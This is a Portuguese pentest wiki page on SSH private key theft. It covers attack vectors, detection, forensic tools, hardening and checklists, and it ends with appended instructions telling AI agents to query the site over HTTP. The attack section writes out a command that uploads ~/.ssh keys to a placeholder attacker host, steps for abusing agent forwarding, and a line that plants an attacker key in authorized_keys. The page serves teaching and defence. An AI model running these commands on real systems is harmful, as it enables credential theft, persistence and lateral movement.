# SSH Key Theft

## 📑 **Índice**

1. [Fundamentos das Chaves SSH](#-fundamentos-das-chaves-ssh)
2. [Vetores de Roubo de Chaves](#-vetores-de-roubo-de-chaves)
3. [Impacto e Cenários em Ambientes Corporativos](#-impacto-e-cenários-em-ambientes-corporativos)
4. [Detecção e Evidências](#-detecção-e-evidências)
5. [Ferramentas e Análise Forense](#-ferramentas-e-análise-forense)
6. [Mitigação e Boas Práticas](#-mitigação-e-boas-práticas)
7. [Checklists de Segurança](#-checklists-de-segurança)
8. [Casos Reais e Referências](#-casos-reais-e-referências)

***

## 🔍 **Fundamentos das Chaves SSH**

### **O que são Chaves SSH?**

As chaves SSH (Secure Shell) são um par de arquivos criptográficos que permitem autenticação sem senha em sistemas remotos. Compostas por uma **chave privada** (que deve ser mantida em segredo) e uma **chave pública** (distribuída livremente), elas substituem senhas por um mecanismo de desafio‑resposta baseado em criptografia assimétrica.

### **Como Funciona a Autenticação por Chave**

1. O cliente possui a chave privada (`~/.ssh/id_rsa`).
2. A chave pública correspondente está registrada no servidor em `~/.ssh/authorized_keys`.
3. Durante a conexão, o servidor envia um desafio assinado com a chave pública.
4. O cliente assina o desafio com a chave privada.
5. O servidor valida a assinatura e concede acesso.

### **Formatos e Algoritmos**

| Algoritmo   | Arquivo      | Segurança              | Uso                  |
| ----------- | ------------ | ---------------------- | -------------------- |
| **RSA**     | `id_rsa`     | 2048+ bits recomendado | Amplamente suportado |
| **Ed25519** | `id_ed25519` | Mais rápido e seguro   | Moderno, recomendado |
| **ECDSA**   | `id_ecdsa`   | Curvas elípticas       | Alternativa          |
| **DSA**     | `id_dsa`     | Obsoleto (1024 bits)   | Evitar               |

***

## ⚔️ **Vetores de Roubo de Chaves**

### **1. Acesso Direto ao Sistema**

Quando um invasor já possui acesso ao sistema (por exemplo, via malware, shell reverso), ele pode simplesmente copiar os arquivos de chave privada:

```bash
# Listar chaves existentes
ls -la ~/.ssh/

# Copiar chave privada
cat ~/.ssh/id_rsa
# ou compactar e exfiltrar
tar czf ~/keys.tgz ~/.ssh/id_* && curl -F "file=@keys.tgz" http://attacker.com/upload
```

### **2. Exfiltração via Malware**

Malware pode:

* Varrer o sistema em busca de arquivos `.ssh` e enviá-los para C2.
* Capturar chaves carregadas no `ssh-agent` via injeção de biblioteca.
* Coletar chaves de processos de SSH (ex: `gdb -p <pid>`).

### **3. Phishing e Engenharia Social**

Atacantes podem:

* Enviar e‑mails falsos solicitando a execução de um script que exporta a chave.
* Criar sites falsos de "suporte" que pedem upload da chave.
* Usar trojans que se passam por ferramentas legítimas (ex: `ssh-keygen` modificado).

### **4. Backup e Armazenamento Inseguro**

* **Repositórios Git públicos:** chaves privadas commitadas acidentalmente.
* **Serviços de sincronização:** Dropbox, Google Drive com pastas públicas.
* **Backups sem criptografia:** arquivos `.ssh` incluídos em backups de máquina.
* **Compartilhamento via chat/mail:** envio de chave privada em texto claro.

### **5. SSH Agent Forwarding Abusado**

Se o agente SSH do cliente é encaminhado (`ssh -A`), um servidor comprometido pode usar o socket do agente para autenticar como o usuário em outros sistemas.

```bash
# No servidor comprometido, verificar sockets do agente
echo $SSH_AUTH_SOCK
ssh-add -l
# Usar o agente para autenticar em outro servidor
ssh usuario@outro_servidor
```

### **6. Vulnerabilidades em Software**

* **CVE‑2023‑38408:** Falha no `ssh-agent` que permite execução de código remoto.
* **Log4Shell:** Injeção de payload que chama `ssh-keygen` e exporta chaves.
* **XSS em interfaces web:** execução de JavaScript que acessa `~/.ssh` via APIs (se disponível).

***

## 💥 **Impacto e Cenários em Ambientes Corporativos**

### **Movimentação Lateral**

Uma chave privada comprometida pode dar acesso a:

* Bastion hosts (jump servers)
* Servidores de aplicação
* Máquinas de desenvolvimento
* Servidores de banco de dados

### **Persistência**

Atacantes podem adicionar sua própria chave pública em `authorized_keys`:

```bash
echo "ssh-rsa AAAAB3... attacker@evil" >> ~/.ssh/authorized_keys
```

Isso permite acesso mesmo após a remoção do malware inicial.

### **Escalonamento de Privilégios**

* Se a chave pertence a um usuário `root` ou com sudo, o atacante obtém controle total.
* Chaves usadas por pipelines de CI/CD (ex: GitLab runners) podem comprometer todo o ciclo de entrega.

### **Comprometimento de Cadeia de Suprimentos**

* Chaves de deploy em repositórios podem ser usadas para injetar código malicioso em produção.
* Chaves de desenvolvedores podem dar acesso a sistemas críticos.

***

## 🔍 **Detecção e Evidências**

### **Logs de Autenticação**

Em servidores Linux, monitore `/var/log/auth.log` ou `/var/log/secure`:

```bash
# Buscar logins bem‑sucedidos sem senha
grep "Accepted publickey" /var/log/auth.log
grep "Accepted publickey" /var/log/secure
```

Evidências de uso de chave incluem:

* `Accepted publickey for user from x.x.x.x port y`
* Fingerprint da chave utilizada.

### **Análise de Arquivos `.ssh`**

* Verificar permissões incorretas (ex: `chmod 777 ~/.ssh/id_rsa`).
* Listar chaves estranhas em `authorized_keys`.
* Verificar data de modificação de arquivos chave.

### **Monitoramento de Processos e Rede**

* Detectar processos que acessam arquivos de chave.
* Alertar sobre envio de arquivos `.ssh` para destinos externos (via curl, netcat, etc.).
* Monitorar conexões SSH inesperadas originadas de servidores internos.

### **Ferramentas EDR/SIEM**

* **Osquery:** consultar arquivos `.ssh` e conexões SSH.
* **Auditd:** regras para acessos a `id_rsa` e `authorized_keys`.
* **Sysmon (Windows):** eventos de criação de arquivos chave.

### **Fingerprints de Chaves**

Manter um inventário de fingerprints autorizadas e comparar com as utilizadas em logins:

```bash
# Listar fingerprints de chaves conhecidas
ssh-keygen -lf ~/.ssh/id_rsa.pub
# No servidor, listar fingerprints das chaves autorizadas
while read key; do echo "$key" | ssh-keygen -lf -; done < ~/.ssh/authorized_keys
```

***

## 🛠️ **Ferramentas e Análise Forense**

### **1. ssh-keygen – Gerenciamento**

```bash
# Gerar fingerprint de uma chave
ssh-keygen -lf key.pub

# Converter chave privada para formato legível (apenas para análise)
openssl rsa -in id_rsa -text -noout
```

### **2. ssh-audit – Avaliar configuração**

```bash
ssh-audit 192.168.1.100
```

### **3. Forense com `find` e `grep`**

```bash
# Buscar chaves em todo o sistema
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Buscar chaves em repositórios Git
grep -r "BEGIN RSA PRIVATE KEY" /path/to/repo
```

### **4. Python – Extração de Chaves de Memória**

```python
import re
import sys

def extract_keys(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    keys = re.findall(b'-----BEGIN (?:RSA|OPENSSH) PRIVATE KEY-----.*?-----END (?:RSA|OPENSSH) PRIVATE KEY-----', data, re.DOTALL)
    return [k.decode() for k in keys]

if __name__ == "__main__":
    keys = extract_keys(sys.argv[1])
    for i, key in enumerate(keys):
        with open(f"key_{i}.pem", "w") as f:
            f.write(key)
```

### **5. Ferramentas de Detecção Automática**

* **GitLeaks:** varre repositórios por chaves.
* **TruffleHog:** encontra chaves em commits.
* **SSHGuard:** bloqueia tentativas de brute force (indireto).

***

## 🛡️ **Mitigação e Boas Práticas**

### **1. Proteção das Chaves Privadas**

* **Permissões restritas:** `chmod 600 ~/.ssh/id_rsa`
* **Armazenamento criptografado:** usar `ssh-keygen -p` para adicionar passphrase.
* **Hardware Security Module (HSM) ou YubiKey:** armazenar chaves em dispositivos físicos.
* **ssh-agent com timeout:** `ssh-add -t 3600` (expira após 1 hora).

### **2. Gerenciamento de Chaves Centralizado**

* **Teleport** ou **Boundary:** emitem certificados SSH temporários.
* **Hashicorp Vault:** armazena e rotaciona chaves.
* **Ansible/Chef:** automatizam rotação de `authorized_keys`.

### **3. Autenticação Multifator (MFA)**

* Usar **certificados SSH** assinados por uma CA, com validade curta.
* Combinar chave + OTP (Google Authenticator) via PAM.
* **ForceCommand** para exigir um segundo fator.

### **4. Auditoria e Políticas**

* Manter inventário de todas as chaves autorizadas.
* Revogar chaves de funcionários desligados imediatamente.
* Validar periodicamente permissões de arquivos `.ssh`.
* Usar `sshd_config` com `AuthorizedKeysCommand` para consultar banco central.

### **5. Limitação de Acesso**

* **Princípio do menor privilégio:** cada chave deve ter acesso apenas aos sistemas necessários.
* **Chaves por propósito:** uma para desenvolvimento, outra para produção.
* **Configurar `command=` ou `restrict` em `authorized_keys` para limitar comandos permitidos.**

Exemplo de entrada restrita:

```
restrict,command="/usr/bin/svnserve -t",no-pty,no-agent-forwarding ssh-rsa AAA... usuario
```

### **6. Detecção e Resposta**

* Monitorar logs de SSH e alertar sobre acessos com chaves não registradas.
* Implementar honeypots com chaves falsas para detectar exfiltração.
* Usar **Osquery** para consultas regulares sobre arquivos `.ssh`.

***

## 📋 **Checklists de Segurança**

### **Checklist de Implementação**

* [ ] Chaves privadas têm permissão `600` e pertencem ao usuário.
* [ ] Todas as chaves possuem passphrase (exceto quando usadas em automação controlada).
* [ ] `~/.ssh/authorized_keys` não contém chaves obsoletas ou desconhecidas.
* [ ] O uso de `ssh-agent` está limitado com `-t` e não é encaminhado sem necessidade.
* [ ] O servidor SSH não permite `PasswordAuthentication` (apenas chaves).
* [ ] `AllowUsers` e `AllowGroups` restringem acesso por usuário/grupo.
* [ ] `MaxAuthTries` e `MaxSessions` limitam tentativas e sessões.
* [ ] Logs SSH são enviados para SIEM e monitorados.
* [ ] Política de rotação de chaves (ex: a cada 90 dias) é aplicada.

### **Checklist de Auditoria**

* [ ] Verificar se há chaves privadas em repositórios Git públicos/privados.
* [ ] Escanear sistemas em busca de arquivos `.ssh` com permissões incorretas.
* [ ] Testar se chaves obsoletas ainda estão autorizadas (simular login com elas).
* [ ] Analisar logs de autenticação por um período mínimo de 30 dias.
* [ ] Verificar se há uso de `ssh-agent` em servidores compartilhados.

***

## 📊 **Casos Reais e Referências**

### **Caso 1: AWS Key Theft via Git**

Em 2019, um desenvolvedor commitou acidentalmente sua chave privada AWS em um repositório público. Em poucos minutos, um bot automatizado detectou a chave e a usou para lançar instâncias de mineração de criptomoedas, gerando uma conta de milhares de dólares.

### **Caso 2: Comprometimento de CI/CD**

Em 2020, um atacante obteve acesso a uma chave SSH de deploy armazenada em variáveis de ambiente de um servidor CI/CD. Com a chave, ele injetou código malicioso na pipeline de produção, afetando milhares de clientes.

### **Referências**

* [CERT: SSH Key Management Best Practices](https://www.cert.org/)
* [NIST SP 800-57: Key Management](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)
* [OpenSSH Security Guidelines](https://www.openssh.com/security.html)
* [GitHub's Guide to Removing Sensitive Data](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)

***

## 🔐 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
SSH Key Theft é uma ameaça crítica que permite:
  ✅ Acesso direto e persistente a sistemas
  ✅ Movimentação lateral sem deixar rastros de senha
  ✅ Escalonamento de privilégios em ambientes mal segmentados

Defesas essenciais:
  ❌ Nunca armazenar chaves sem passphrase
  ❌ Não compartilhar chaves por canais inseguros
  ✓ Centralizar gerenciamento e rotação
  ✓ Monitorar logs e autorizações
```

### **Recomendações Finais**

1. **Para Administradores:** implemente certificados SSH ou ferramentas de gerenciamento centralizado; revogue chaves de forma rápida.
2. **Para Desenvolvedores:** nunca comite chaves em repositórios; use `ssh-agent` com passphrase.
3. **Para Pentesters:** ao obter acesso, sempre verificar por chaves privadas e tentar usá-las para movimento lateral.

**🔐 Lembre-se:** Uma chave SSH comprometida é equivalente a uma senha de administrador. O tratamento adequado deve refletir essa criticidade.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/ssh/ssh-key-theft.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.